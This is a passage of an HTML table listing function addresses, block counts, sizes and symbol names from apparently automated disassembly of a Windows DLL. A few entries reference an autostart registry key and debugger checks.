          <td>sub.ADVAPI32.dll_RegOpenKeyExA_570</td>
      </tr>
      <tr>
          <td>0x1000a610</td>
          <td>6</td>
          <td>103</td>
          <td>sub.SOFTWARE__Microsoft__Windows__CurrentVersion__Run_610</td>
      </tr>
      <tr>
          <td>0x1000a680</td>
          <td>5</td>
          <td>275</td>
          <td>sub.KERNEL32.dll_AllocConsole_680</td>
      </tr>
      <tr>
          <td>0x1000a793</td>
          <td>9</td>
          <td>109</td>
          <td>fcn.1000a793</td>
      </tr>
      <tr>
          <td>0x1000a800</td>
          <td>7</td>
          <td>105</td>
          <td>fcn.1000a800</td>
      </tr>
      <tr>
          <td>0x1000a86c</td>
          <td>1</td>
          <td>8</td>
          <td>fcn.1000a86c</td>
      </tr>
      <tr>
          <td>0x1000a874</td>
          <td>16</td>
          <td>251</td>
          <td>fcn.1000a874</td>
      </tr>
      <tr>
          <td>0x1000a972</td>
          <td>1</td>
          <td>8</td>
          <td>fcn.1000a972</td>
      </tr>
      <tr>
          <td>0x1000a97a</td>
          <td>11</td>
          <td>178</td>
          <td>fcn.1000a97a</td>
      </tr>
      <tr>
          <td>0x1000aa2c</td>
          <td>1</td>
          <td>10</td>
          <td>fcn.1000aa2c</td>
      </tr>
      <tr>
          <td>0x1000aa36</td>
          <td>1</td>
          <td>23</td>
          <td>fcn.1000aa36</td>
      </tr>
      <tr>
          <td>0x1000aa4d</td>
          <td>3</td>
          <td>33</td>
          <td>fcn.1000aa4d</td>
      </tr>
      <tr>
          <td>0x1000aa6e</td>
          <td>3</td>
          <td>15   -&gt; 277</td>
          <td>fcn.1000aa6e</td>
      </tr>
      <tr>
          <td>0x1000aa80</td>
          <td>4</td>
          <td>43</td>
          <td>fcn.1000aa80</td>
      </tr>
      <tr>
          <td>0x1000aab0</td>
          <td>33</td>
          <td>6722 -&gt; 305</td>
          <td>fcn.1000aab0</td>
      </tr>
      <tr>
          <td>0x1000ab2a</td>
          <td>16</td>
          <td>148</td>
          <td>sub.KERNEL32.dll_HeapAlloc_b2a</td>
      </tr>
      <tr>
          <td>0x1000abbe</td>
          <td>1</td>
          <td>33</td>
          <td>fcn.1000abbe</td>
      </tr>
      <tr>
          <td>0x1000abe0</td>
          <td>14</td>
          <td>139</td>
          <td>fcn.1000abe0</td>
      </tr>
      <tr>
          <td>0x1000ac6b</td>
          <td>19</td>
          <td>258</td>
          <td>fcn.1000ac6b</td>
      </tr>
      <tr>
          <td>0x1000ad6d</td>
          <td>1</td>
          <td>10</td>
          <td>fcn.1000ad6d</td>
      </tr>
      <tr>
          <td>0x1000ad77</td>
          <td>1</td>
          <td>6</td>
          <td>fcn.1000ad77</td>
      </tr>
      <tr>
          <td>0x1000ae4e</td>
          <td>5</td>
          <td>65</td>
          <td>sub.KERNEL32.dll_EnterCriticalSection_e4e</td>
      </tr>
      <tr>
          <td>0x1000ae8f</td>
          <td>3</td>
          <td>50</td>
          <td>sub.KERNEL32.dll_EnterCriticalSection_e8f</td>
      </tr>
      <tr>
          <td>0x1000aec1</td>
          <td>4</td>
          <td>60</td>
          <td>sub.KERNEL32.dll_LeaveCriticalSection_ec1</td>
      </tr>
      <tr>
          <td>0x1000aefd</td>
          <td>3</td>
          <td>47</td>
          <td>sub.KERNEL32.dll_LeaveCriticalSection_efd</td>
      </tr>
      <tr>
          <td>0x1000af2c</td>
          <td>28</td>
          <td>356  -&gt; 332</td>
          <td>sub.KERNEL32.dll_GetCommandLineA_f2c</td>
      </tr>
      <tr>
          <td>0x1000b005</td>
          <td>4</td>
          <td>20</td>
          <td>fcn.1000b005</td>
      </tr>
      <tr>
          <td>0x1000b090</td>
          <td>23</td>
          <td>246  -&gt; 226</td>
          <td>fcn.1000b090</td>
      </tr>
      <tr>
          <td>0x1000b186</td>
          <td>3</td>
          <td>35</td>
          <td>entry0</td>
      </tr>
      <tr>
          <td>0x1000b1a9</td>
          <td>4</td>
          <td>58</td>
          <td>sub.KERNEL32.dll_HeapFree_1a9</td>
      </tr>
      <tr>
          <td>0x1000b1e3</td>
          <td>13</td>
          <td>156</td>
          <td>sub.KERNEL32.dll_CloseHandle_1e3</td>
      </tr>
      <tr>
          <td>0x1000b27f</td>
          <td>12</td>
          <td>185</td>
          <td>fcn.1000b27f</td>
      </tr>
      <tr>
          <td>0x1000b33b</td>
          <td>1</td>
          <td>8</td>
          <td>fcn.1000b33b</td>
      </tr>
      <tr>
          <td>0x1000b343</td>
          <td>3</td>
          <td>38</td>
          <td>fcn.1000b343</td>
      </tr>
      <tr>
          <td>0x1000b369</td>
          <td>4</td>
          <td>49</td>
          <td>fcn.1000b369</td>
      </tr>
      <tr>
          <td>0x1000b39a</td>
          <td>9</td>
          <td>104</td>
          <td>fcn.1000b39a</td>
      </tr>
      <tr>
          <td>0x1000b402</td>
          <td>8</td>
          <td>72</td>
          <td>fcn.1000b402</td>
      </tr>
      <tr>
          <td>0x1000b44a</td>
          <td>17</td>
          <td>209  -&gt; 187</td>
          <td>fcn.1000b44a</td>
      </tr>
      <tr>
          <td>0x1000b4ec</td>
          <td>1</td>
          <td>17</td>
          <td>fcn.1000b4ec</td>
      </tr>
      <tr>
          <td>0x1000b51b</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000b51b</td>
      </tr>
      <tr>
          <td>0x1000b524</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000b524</td>
      </tr>
      <tr>
          <td>0x1000b52d</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.1000b52d</td>
      </tr>
      <tr>
          <td>0x1000b53c</td>
          <td>7</td>
          <td>297</td>
          <td>sub.KERNEL32.dll_IsDebuggerPresent_53c</td>
      </tr>
      <tr>
          <td>0x1000b665</td>
          <td>1</td>
          <td>37</td>
          <td>sub.KERNEL32.dll_GetCurrentProcess_665</td>
      </tr>
      <tr>
          <td>0x1000b68a</td>
          <td>3</td>
          <td>45</td>
          <td>sub.KERNEL32.dll_DecodePointer_68a</td>
      </tr>
      <tr>
          <td>0x1000b6b7</td>
          <td>1</td>
          <td>16</td>
          <td>fcn.1000b6b7</td>
      </tr>
      <tr>
          <td>0x1000b6c7</td>
          <td>7</td>
          <td>66</td>
          <td>fcn.1000b6c7</td>
      </tr>
      <tr>
          <td>0x1000b709</td>
          <td>3</td>
          <td>19</td>
          <td>fcn.1000b709</td>
      </tr>
      <tr>
          <td>0x1000b71c</td>
          <td>3</td>
          <td>19</td>
          <td>fcn.1000b71c</td>
      </tr>
      <tr>
          <td>0x1000b72f</td>
          <td>1</td>
          <td>35</td>
          <td>fcn.1000b72f</td>
      </tr>
      <tr>
          <td>0x1000b760</td>
          <td>1</td>
          <td>69</td>
          <td>fcn.1000b760</td>
      </tr>
      <tr>
          <td>0x1000b7a5</td>
          <td>1</td>
          <td>20</td>
          <td>fcn.1000b7a5</td>
      </tr>
      <tr>
          <td>0x1000b94f</td>
          <td>13</td>
          <td>156</td>
          <td>fcn.1000b94f</td>
      </tr>
      <tr>
          <td>0x1000b9eb</td>
          <td>5</td>
          <td>52</td>
          <td>fcn.1000b9eb</td>
      </tr>
      <tr>
          <td>0x1000ba1f</td>
          <td>37</td>
          <td>343</td>
          <td>fcn.1000ba1f</td>
      </tr>
      <tr>
          <td>0x1000bb76</td>
          <td>49</td>
          <td>581</td>
          <td>sub.KERNEL32.dll_GetStartupInfoW_b76</td>
      </tr>
      <tr>
          <td>0x1000bdbb</td>
          <td>10</td>
          <td>83</td>
          <td>sub.KERNEL32.dll_DeleteCriticalSection_dbb</td>
      </tr>
      <tr>
          <td>0x1000be0e</td>
          <td>74</td>
          <td>663</td>
          <td>sub.UTF_8_e0e</td>
      </tr>
      <tr>
          <td>0x1000c0a5</td>
          <td>18</td>
          <td>295</td>
          <td>sub.KERNEL32.dll_InitializeCriticalSectionAndSpinCount_a5</td>
      </tr>
      <tr>
          <td>0x1000c1cf</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000c1cf</td>
      </tr>
      <tr>
          <td>0x1000c1e0</td>
          <td>7</td>
          <td>144</td>
          <td>fcn.1000c1e0</td>
      </tr>
      <tr>
          <td>0x1000c2d2</td>
          <td>1</td>
          <td>23</td>
          <td>fcn.1000c2d2</td>
      </tr>
      <tr>
          <td>0x1000c2e9</td>
          <td>1</td>
          <td>25</td>
          <td>fcn.1000c2e9</td>
      </tr>
      <tr>
          <td>0x1000c302</td>
          <td>1</td>
          <td>25</td>
          <td>fcn.1000c302</td>
      </tr>
      <tr>
          <td>0x1000c31b</td>
          <td>1</td>
          <td>23</td>
          <td>fcn.1000c31b</td>
      </tr>
      <tr>
          <td>0x1000c332</td>
          <td>3</td>
          <td>262</td>
          <td>loc.1000c332</td>
      </tr>
      <tr>
          <td>0x1000c502</td>
          <td>4</td>
          <td>43</td>
          <td>sub.mscoree.dll_502</td>
      </tr>
      <tr>
          <td>0x1000c52d</td>
          <td>1</td>
          <td>23</td>
          <td>sub.KERNEL32.dll_ExitProcess_52d</td>
      </tr>
      <tr>
          <td>0x1000c545</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000c545</td>
      </tr>
      <tr>
          <td>0x1000c54e</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000c54e</td>
      </tr>
      <tr>
          <td>0x1000c557</td>
          <td>1</td>
          <td>51</td>
          <td>fcn.1000c557</td>
      </tr>
      <tr>
          <td>0x1000c58a</td>
          <td>7</td>
          <td>36</td>
          <td>fcn.1000c58a</td>
      </tr>
      <tr>
          <td>0x1000c5ae</td>
          <td>13</td>
          <td>151</td>
          <td>fcn.1000c5ae</td>
      </tr>
      <tr>
          <td>0x1000c645</td>
          <td>26</td>
          <td>320</td>
          <td>sub.KERNEL32.dll_DecodePointer_645</td>
      </tr>
      <tr>
          <td>0x1000c785</td>
          <td>1</td>
          <td>22</td>
          <td>fcn.1000c785</td>
      </tr>
      <tr>
          <td>0x1000c79b</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.1000c79b</td>
      </tr>
      <tr>
          <td>0x1000c7aa</td>
          <td>1</td>
          <td>30</td>
          <td>fcn.1000c7aa</td>
      </tr>
      <tr>
          <td>0x1000c7c8</td>
          <td>5</td>
          <td>38</td>
          <td>fcn.1000c7c8</td>
      </tr>
      <tr>
          <td>0x1000c7ee</td>
          <td>23</td>
          <td>431</td>
          <td>sub.Runtime_Error_____Program:_7ee</td>
      </tr>
      <tr>
          <td>0x1000c99d</td>
          <td>5</td>
          <td>57</td>
          <td>fcn.1000c99d</td>
      </tr>
      <tr>
          <td>0x1000c9d6</td>
          <td>1</td>
          <td>30</td>
          <td>sub.KERNEL32.dll_HeapCreate_9d6</td>
      </tr>
      <tr>
          <td>0x1000c9f4</td>
          <td>1</td>
          <td>20</td>
          <td>sub.KERNEL32.dll_HeapDestroy_9f4</td>
      </tr>
      <tr>
          <td>0x1000ca08</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.1000ca08</td>
      </tr>
      <tr>
          <td>0x1000ca17</td>
          <td>4</td>
          <td>40</td>
          <td>sub.KERNEL32.dll_DecodePointer_a17</td>
      </tr>
      <tr>
          <td>0x1000ca3f</td>
          <td>1</td>
          <td>9</td>
          <td>sub.KERNEL32.dll_EncodePointer_a3f</td>
      </tr>
      <tr>
          <td>0x1000ca51</td>
          <td>3</td>
          <td>52</td>
          <td>sub.KERNEL32.dll_TlsGetValue_a51</td>
      </tr>
      <tr>
          <td>0x1000ca85</td>
          <td>16</td>
          <td>5010 -&gt; 148</td>
          <td>sub.KERNEL32.dll_DecodePointer_a85</td>
      </tr>
      <tr>
          <td>0x1000cac2</td>
          <td>3</td>
          <td>156</td>
          <td>sub.KERNEL32.DLL_ac2</td>
      </tr>
      <tr>
          <td>0x1000cb64</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000cb64</td>
      </tr>
      <tr>
          <td>0x1000cb6d</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000cb6d</td>
      </tr>
      <tr>
          <td>0x1000cb76</td>
          <td>6</td>
          <td>121</td>
          <td>sub.KERNEL32.dll_GetLastError_b76</td>
      </tr>
      <tr>
          <td>0x1000cbef</td>
          <td>3</td>
          <td>26</td>
          <td>fcn.1000cbef</td>
      </tr>
      <tr>
          <td>0x1000cc09</td>
          <td>28</td>
          <td>279</td>
          <td>sub.KERNEL32.dll_InterlockedDecrement_c09</td>
      </tr>
      <tr>
          <td>0x1000cd23</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000cd23</td>
      </tr>
      <tr>
          <td>0x1000cd2f</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000cd2f</td>
      </tr>
      <tr>
          <td>0x1000cd38</td>
          <td>9</td>
          <td>110</td>
          <td>sub.KERNEL32.dll_TlsGetValue_d38</td>
      </tr>
      <tr>
          <td>0x1000cda6</td>
          <td>17</td>
          <td>379</td>
          <td>sub.KERNEL32.DLL_da6</td>
      </tr>
      <tr>
          <td>0x1000cf21</td>
          <td>11</td>
          <td>135</td>
          <td>fcn.1000cf21</td>
      </tr>
      <tr>
          <td>0x1000cfa8</td>
          <td>8</td>
          <td>51</td>
          <td>fcn.1000cfa8</td>
      </tr>
      <tr>
          <td>0x1000cfdb</td>
          <td>11</td>
          <td>116</td>
          <td>fcn.1000cfdb</td>
      </tr>
      <tr>
          <td>0x1000d04f</td>
          <td>234</td>
          <td>2953</td>
          <td>sub.KERNEL32.dll_DecodePointer_4f</td>
      </tr>
      <tr>
          <td>0x1000dbfb</td>
          <td>7</td>
          <td>69</td>
          <td>sub.KERNEL32.dll_Sleep_bfb</td>
      </tr>
      <tr>
          <td>0x1000dc40</td>
          <td>7</td>
          <td>76</td>
          <td>sub.KERNEL32.dll_Sleep_c40</td>
      </tr>
      <tr>
          <td>0x1000dc8c</td>
          <td>8</td>
          <td>78</td>
          <td>sub.KERNEL32.dll_Sleep_c8c</td>
      </tr>
      <tr>
          <td>0x1000dcda</td>
          <td>10</td>
          <td>147</td>
          <td>sub.KERNEL32.dll_DeleteCriticalSection_cda</td>
      </tr>
      <tr>
          <td>0x1000dd6d</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000dd6d</td>
      </tr>
      <tr>
          <td>0x1000dd76</td>
          <td>7</td>
          <td>74</td>
          <td>sub.KERNEL32.dll_InitializeCriticalSectionAndSpinCount_d76</td>
      </tr>
      <tr>
          <td>0x1000de17</td>
          <td>1</td>
          <td>23</td>
          <td>sub.KERNEL32.dll_LeaveCriticalSection_e17</td>
      </tr>
      <tr>
          <td>0x1000de2e</td>
          <td>13</td>
          <td>185</td>
          <td>sub.KERNEL32.dll_InitializeCriticalSectionAndSpinCount_e2e</td>
      </tr>
      <tr>
          <td>0x1000dee7</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000dee7</td>
      </tr>
      <tr>
          <td>0x1000def0</td>
          <td>4</td>
          <td>51</td>
          <td>sub.KERNEL32.dll_EnterCriticalSection_ef0</td>
      </tr>
      <tr>
          <td>0x1000df23</td>
          <td>21</td>
          <td>220</td>
          <td>fcn.1000df23</td>
      </tr>
      <tr>
          <td>0x1000dfff</td>
          <td>61</td>
          <td>410</td>
          <td>fcn.1000dfff</td>
      </tr>
      <tr>
          <td>0x1000e199</td>
          <td>12</td>
          <td>187</td>
          <td>sub.KERNEL32.dll_GetModuleFileNameA_199</td>
      </tr>
      <tr>
          <td>0x1000e254</td>
          <td>13</td>
          <td>151</td>
          <td>sub.KERNEL32.dll_GetEnvironmentStringsW_254</td>
      </tr>
      <tr>
          <td>0x1000e2eb</td>
          <td>5</td>
          <td>38</td>
          <td>fcn.1000e2eb</td>
      </tr>
      <tr>
          <td>0x1000e337</td>
          <td>40</td>
          <td>330</td>
          <td>fcn.1000e337</td>
      </tr>
      <tr>
          <td>0x1000e481</td>
          <td>3</td>
          <td>32</td>
          <td>fcn.1000e481</td>
      </tr>
      <tr>
          <td>0x1000e4a1</td>
          <td>9</td>
          <td>155</td>
          <td>sub.KERNEL32.dll_GetSystemTimeAsFileTime_4a1</td>
      </tr>
      <tr>
          <td>0x1000e53c</td>
          <td>14</td>
          <td>129</td>
          <td>sub.KERNEL32.dll_SetStdHandle_53c</td>
      </tr>
      <tr>
          <td>0x1000e5bd</td>
          <td>15</td>
          <td>134</td>
          <td>sub.KERNEL32.dll_SetStdHandle_5bd</td>
      </tr>
      <tr>
          <td>0x1000e643</td>
          <td>8</td>
          <td>105</td>
          <td>fcn.1000e643</td>
      </tr>
      <tr>
          <td>0x1000e6ac</td>
          <td>9</td>
          <td>145</td>
          <td>main</td>
      </tr>
      <tr>
          <td>0x1000e742</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000e742</td>
      </tr>
      <tr>
          <td>0x1000e74b</td>
          <td>1</td>
          <td>39</td>
          <td>sub.KERNEL32.dll_LeaveCriticalSection_74b</td>
      </tr>
      <tr>
          <td>0x1000e772</td>
          <td>29</td>
          <td>400  -&gt; 385</td>
          <td>sub.KERNEL32.dll_InitializeCriticalSectionAndSpinCount_772</td>
      </tr>
      <tr>
          <td>0x1000e844</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000e844</td>
      </tr>
      <tr>
          <td>0x1000e902</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.1000e902</td>
      </tr>
      <tr>
          <td>0x1000e90b</td>
          <td>99</td>
          <td>1789</td>
          <td>sub.KERNEL32.dll_GetConsoleMode_90b</td>
      </tr>
      <tr>
          <td>0x1000f008</td>
          <td>12</td>
          <td>201</td>
          <td>fcn.1000f008</td>
      </tr>
      <tr>
          <td>0x1000f0d4</td>
          <td>1</td>
          <td>8</td>
          <td>fcn.1000f0d4</td>
      </tr>
      <tr>
          <td>0x1000f0dc</td>
          <td>16</td>
          <td>206</td>
          <td>sub.KERNEL32.dll_FlushFileBuffers_dc</td>
      </tr>
      <tr>
          <td>0x1000f1ad</td>
          <td>1</td>
          <td>8</td>
          <td>fcn.1000f1ad</td>
      </tr>
      <tr>
          <td>0x1000f1b5</td>
          <td>1</td>
          <td>8</td>
          <td>fcn.1000f1b5</td>
      </tr>
      <tr>
          <td>0x1000f1c0</td>
          <td>4</td>
          <td>53</td>
          <td>fcn.1000f1c0</td>
      </tr>
      <tr>
          <td>0x1000f200</td>
          <td>7</td>
          <td>68</td>
          <td>fcn.1000f200</td>
      </tr>
      <tr>
          <td>0x1000f250</td>
          <td>3</td>
          <td>139</td>
          <td>fcn.1000f250</td>
      </tr>
      <tr>
          <td>0x1000f30c</td>
          <td>7</td>
          <td>86</td>
          <td>fcn.1000f30c</td>
      </tr>
      <tr>
          <td>0x1000f362</td>
          <td>31</td>
          <td>356</td>
          <td>fcn.1000f362</td>
      </tr>
      <tr>
          <td>0x1000f4d0</td>
          <td>56</td>
          <td>10779 -&gt; 668</td>
          <td>fcn.1000f4d0</td>
      </tr>
      <tr>
          <td>0x1000f831</td>
          <td>144</td>
          <td>1844</td>
          <td>sub.KERNEL32.dll_CreateFileA_831</td>
      </tr>
      <tr>
          <td>0x1000ff65</td>
          <td>8</td>
          <td>145</td>
          <td>fcn.1000ff65</td>
      </tr>
      <tr>
          <td>0x1000fffb</td>
          <td>5</td>
          <td>46</td>
          <td>fcn.1000fffb</td>
      </tr>
      <tr>
          <td>0x10010029</td>
          <td>1</td>
          <td>32</td>
          <td>fcn.10010029</td>
      </tr>
      <tr>
          <td>0x10010049</td>
          <td>59</td>
          <td>516</td>
          <td>fcn.10010049</td>
      </tr>
      <tr>
          <td>0x1001024d</td>
          <td>1</td>
          <td>26</td>
          <td>fcn.1001024d</td>
      </tr>
      <tr>
          <td>0x10010267</td>
          <td>36</td>
          <td>332</td>
          <td>fcn.10010267</td>
      </tr>
      <tr>
          <td>0x100103b3</td>
          <td>1</td>
          <td>26</td>
          <td>fcn.100103b3</td>
      </tr>
      <tr>
          <td>0x10010435</td>
          <td>8</td>
          <td>132</td>
          <td>fcn.10010435</td>
      </tr>
      <tr>
          <td>0x100104e5</td>
          <td>1</td>
          <td>31</td>
          <td>fcn.100104e5</td>
      </tr>
      <tr>
          <td>0x10010504</td>
          <td>1</td>
          <td>3</td>
          <td>fcn.10010504</td>
      </tr>
      <tr>
          <td>0x10010540</td>
          <td>1</td>
          <td>17</td>
          <td>sub.KERNEL32.dll_EncodePointer_540</td>
      </tr>
      <tr>
          <td>0x10010551</td>
          <td>1</td>
          <td>30</td>
          <td>fcn.10010551</td>
      </tr>
      <tr>
          <td>0x1001056f</td>
          <td>7</td>
          <td>55</td>
          <td>fcn.1001056f</td>
      </tr>
      <tr>
          <td>0x100105a6</td>
          <td>1</td>
          <td>13</td>
          <td>sub.KERNEL32.dll_DecodePointer_5a6</td>
      </tr>
      <tr>
          <td>0x100105b3</td>
          <td>43</td>
          <td>419  -&gt; 398</td>
          <td>sub.KERNEL32.dll_DecodePointer_5b3</td>
      </tr>
      <tr>
          <td>0x1001071a</td>
          <td>3</td>
          <td>15</td>
          <td>fcn.1001071a</td>
      </tr>
      <tr>
          <td>0x10010756</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10010756</td>
      </tr>
      <tr>
          <td>0x10010765</td>
          <td>1</td>
          <td>15</td>
          <td>fcn.10010765</td>
      </tr>
      <tr>
          <td>0x10010774</td>
          <td>13</td>
          <td>182</td>
          <td>sub.KERNEL32.dll_DecodePointer_774</td>
      </tr>
      <tr>
          <td>0x1001085b</td>
          <td>1</td>
          <td>54</td>
          <td>fcn.1001085b</td>
      </tr>
      <tr>
          <td>0x10010891</td>
          <td>1</td>
          <td>6</td>
          <td>fcn.10010891</td>
      </tr>
      <tr>
          <td>0x10010897</td>
          <td>1</td>
          <td>23</td>
          <td>fcn.10010897</td>
      </tr>
      <tr>
          <td>0x100108ae</td>
          <td>3</td>
          <td>35</td>
          <td>sub.KERNEL32.dll_EncodePointer_8ae</td>
      </tr>
      <tr>
          <td>0x100108d1</td>
          <td>23</td>
          <td>364</td>
          <td>sub.USER32.DLL_8d1</td>
      </tr>
      <tr>
          <td>0x10010a3d</td>
          <td>16</td>
          <td>117</td>
          <td>fcn.10010a3d</td>
      </tr>
      <tr>
          <td>0x10010ab2</td>
          <td>28</td>
          <td>205</td>
          <td>fcn.10010ab2</td>
      </tr>
      <tr>
          <td>0x10010b7f</td>
          <td>3</td>
          <td>27</td>
          <td>fcn.10010b7f</td>
      </tr>
      <tr>
          <td>0x10010b9a</td>
          <td>12</td>
          <td>99</td>
          <td>fcn.10010b9a</td>
      </tr>
      <tr>
          <td>0x10010bfd</td>
          <td>6</td>
          <td>63</td>
          <td>fcn.10010bfd</td>
      </tr>
      <tr>
          <td>0x10010c3c</td>
          <td>17</td>
          <td>143</td>
          <td>sub.KERNEL32.dll_InterlockedIncrement_c3c</td>
      </tr>
      <tr>
          <td>0x10010ccb</td>
          <td>19</td>
          <td>153</td>
          <td>sub.KERNEL32.dll_InterlockedDecrement_ccb</td>
      </tr>
      <tr>
          <td>0x10010d64</td>
          <td>28</td>
          <td>331</td>
          <td>fcn.10010d64</td>
      </tr>
      <tr>
          <td>0x10010eaf</td>
          <td>10</td>
          <td>77</td>
          <td>fcn.10010eaf</td>
      </tr>
      <tr>
          <td>0x10010efc</td>
          <td>7</td>
          <td>109</td>
          <td>fcn.10010efc</td>
      </tr>
      <tr>
          <td>0x10010f69</td>
          <td>1</td>
          <td>12</td>
          <td>fcn.10010f69</td>
      </tr>
      <tr>
          <td>0x10010f75</td>
          <td>9</td>
          <td>47</td>
          <td>fcn.10010f75</td>
      </tr>
      <tr>
          <td>0x10010fa4</td>
          <td>5</td>
          <td>100</td>
          <td>fcn.10010fa4</td>
      </tr>
      <tr>
          <td>0x10011008</td>
          <td>26</td>
          <td>400</td>
          <td>sub.KERNEL32.dll_GetCPInfo_8</td>
      </tr>
      <tr>
          <td>0x10011198</td>
          <td>13</td>
          <td>152</td>
          <td>sub.KERNEL32.dll_InterlockedDecrement_198</td>
      </tr>
      <tr>
          <td>0x10011233</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.10011233</td>
      </tr>
      <tr>
          <td>0x1001123c</td>
          <td>12</td>
          <td>124</td>
          <td>sub.KERNEL32.dll_GetOEMCP_23c</td>
      </tr>
      <tr>
          <td>0x100112b8</td>
          <td>37</td>
          <td>489</td>
          <td>sub.KERNEL32.dll_IsValidCodePage_2b8</td>
      </tr>
      <tr>
          <td>0x100114a1</td>
          <td>27</td>
          <td>410  -&gt; 399</td>
          <td>sub.KERNEL32.dll_InterlockedDecrement_4a1</td>
      </tr>
      <tr>
          <td>0x10011602</td>
          <td>1</td>
          <td>9</td>
          <td>fcn.10011602</td>
      </tr>
      <tr>
          <td>0x1001163b</td>
          <td>3</td>
          <td>30</td>
          <td>fcn.1001163b</td>
      </tr>
      <tr>
          <td>0x10011659</td>
          <td>1</td>
          <td>22</td>
          <td>fcn.10011659</td>
      </tr>
      <tr>
          <td>0x1001166f</td>
          <td>35</td>
          <td>341</td>
          <td>sub.KERNEL32.dll_WideCharToMultiByte_66f</td>
      </tr>
      <tr>
          <td>0x100117c4</td>
          <td>1</td>
          <td>29</td>
          <td>fcn.100117c4</td>
      </tr>
      <tr>
          <td>0x100117e1</td>
          <td>3</td>
          <td>56</td>
          <td>fcn.100117e1</td>
      </tr>
      <tr>
          <td>0x10011819</td>
          <td>1</td>
          <td>19</td>
          <td>fcn.10011819</td>
      </tr>
      <tr>
          <td>0x10011830</td>
          <td>11</td>
          <td>149</td>
          <td>fcn.10011830</td>
      </tr>
      <tr>
          <td>0x100118c5</td>
          <td>15</td>
          <td>130</td>
          <td>sub.KERNEL32.dll_HeapAlloc_8c5</td>
      </tr>
      <tr>
          <td>0x10011947</td>
          <td>18</td>
          <td>173</td>
          <td>sub.KERNEL32.dll_HeapReAlloc_947</td>
      </tr>
      <tr>
          <td>0x100119f4</td>
          <td>13</td>
          <td>95</td>
          <td>fcn.100119f4</td>
      </tr>
      <tr>
          <td>0x10011a53</td>
          <td>9</td>
          <td>83</td>
          <td>fcn.10011a53</td>
      </tr>
      <tr>
          <td>0x10011aa6</td>
          <td>1</td>
          <td>24</td>
          <td>fcn.10011aa6</td>
      </tr>
      <tr>
          <td>0x10011abe</td>
          <td>6</td>
          <td>66</td>
          <td>sub.KERNEL32.dll_WriteConsoleW_abe</td>
      </tr>
      <tr>
          <td>0x10011b00</td>
          <td>26</td>
          <td>278</td>
          <td>sub.KERNEL32.dll_MultiByteToWideChar_b00</td>
      </tr>
      <tr>
          <td>0x10011c16</td>
          <td>1</td>
          <td>26</td>
          <td>fcn.10011c16</td>
      </tr>
      <tr>
          <td>0x10011c30</td>
          <td>8</td>
          <td>133</td>
          <td>sub.KERNEL32.dll_SetFilePointer_c30</td>
      </tr>
      <tr>
          <td>0x10011cb5</td>
          <td>12</td>
          <td>224</td>
          <td>fcn.10011cb5</td>
      </tr>
      <tr>
          <td>0x10011d95</td>
          <td>1</td>
          <td>10</td>
          <td>fcn.10011d95</td>
      </tr>
      <tr>
          <td>0x10011d9f</td>
          <td>4</td>
          <td>73</td>
          <td>fcn.10011d9f</td>
      </tr>
      <tr>
          <td>0x10011eeb</td>
          <td>33</td>
          <td>438</td>
          <td>sub.KERNEL32.dll_GetProcessHeap_eeb</td>
      </tr>
      <tr>
          <td>0x100120a1</td>
          <td>137</td>
          <td>1463</td>
          <td>sub.KERNEL32.dll_ReadFile_a1</td>
      </tr>
      <tr>
          <td>0x10012658</td>
          <td>10</td>
          <td>117</td>
          <td>sub.KERNEL32.dll_SetFilePointer_658</td>
      </tr>
      <tr>
          <td>0x100126cd</td>
          <td>13</td>
          <td>187</td>
          <td>fcn.100126cd</td>
      </tr>
      <tr>
          <td>0x10012788</td>
          <td>3</td>
          <td>45</td>
          <td>fcn.10012788</td>
      </tr>
      <tr>
          <td>0x100127b5</td>
          <td>21</td>
          <td>226</td>
          <td>fcn.100127b5</td>
      </tr>
      <tr>
          <td>0x10012897</td>
          <td>7</td>
          <td>2857 -&gt; 83</td>
          <td>fcn.10012897</td>
      </tr>
      <tr>
          <td>0x100128ea</td>
          <td>30</td>
          <td>192</td>
          <td>fcn.100128ea</td>
      </tr>
      <tr>
          <td>0x100129aa</td>
          <td>5</td>
          <td>51</td>
          <td>fcn.100129aa</td>
      </tr>
      <tr>
          <td>0x100129dd</td>
          <td>4</td>
          <td>32</td>
          <td>fcn.100129dd</td>
      </tr>
      <tr>
          <td>0x100129fd</td>
          <td>3</td>
          <td>51</td>
          <td>sub.KERNEL32.dll_HeapSize_9fd</td>
      </tr>
      <tr>
          <td>0x10012a39</td>
          <td>3</td>
          <td>887</td>
          <td>fcn.10012a39</td>
      </tr>
      <tr>
          <td>0x10012db0</td>
          <td>12</td>
          <td>105</td>
          <td>fcn.10012db0</td>
      </tr>
      <tr>
          <td>0x10012e19</td>
          <td>28</td>
          <td>254</td>
          <td>fcn.10012e19</td>
      </tr>
      <tr>
          <td>0x10012f17</td>
          <td>47</td>
          <td>487</td>
          <td>sub.KERNEL32.dll_MultiByteToWideChar_f17</td>
      </tr>
      <tr>
          <td>0x100130fe</td>
          <td>3</td>
          <td>70</td>
          <td>fcn.100130fe</td>
      </tr>
      <tr>
          <td>0x10013144</td>
          <td>18</td>
          <td>231</td>
          <td>sub.KERNEL32.dll_MultiByteToWideChar_144</td>
      </tr>
      <tr>
          <td>0x1001322b</td>
          <td>3</td>
          <td>64</td>
          <td>fcn.1001322b</td>
      </tr>
      <tr>
          <td>0x1001326b</td>
          <td>1</td>
          <td>31</td>
          <td>sub.CONOUT_26b</td>
      </tr>
      <tr>
          <td>0x100132a1</td>
          <td>19</td>
          <td>277</td>
          <td>fcn.100132a1</td>
      </tr>
      <tr>
          <td>0x100133c0</td>
          <td>16</td>
          <td>97</td>
          <td>fcn.100133c0</td>
      </tr>
      <tr>
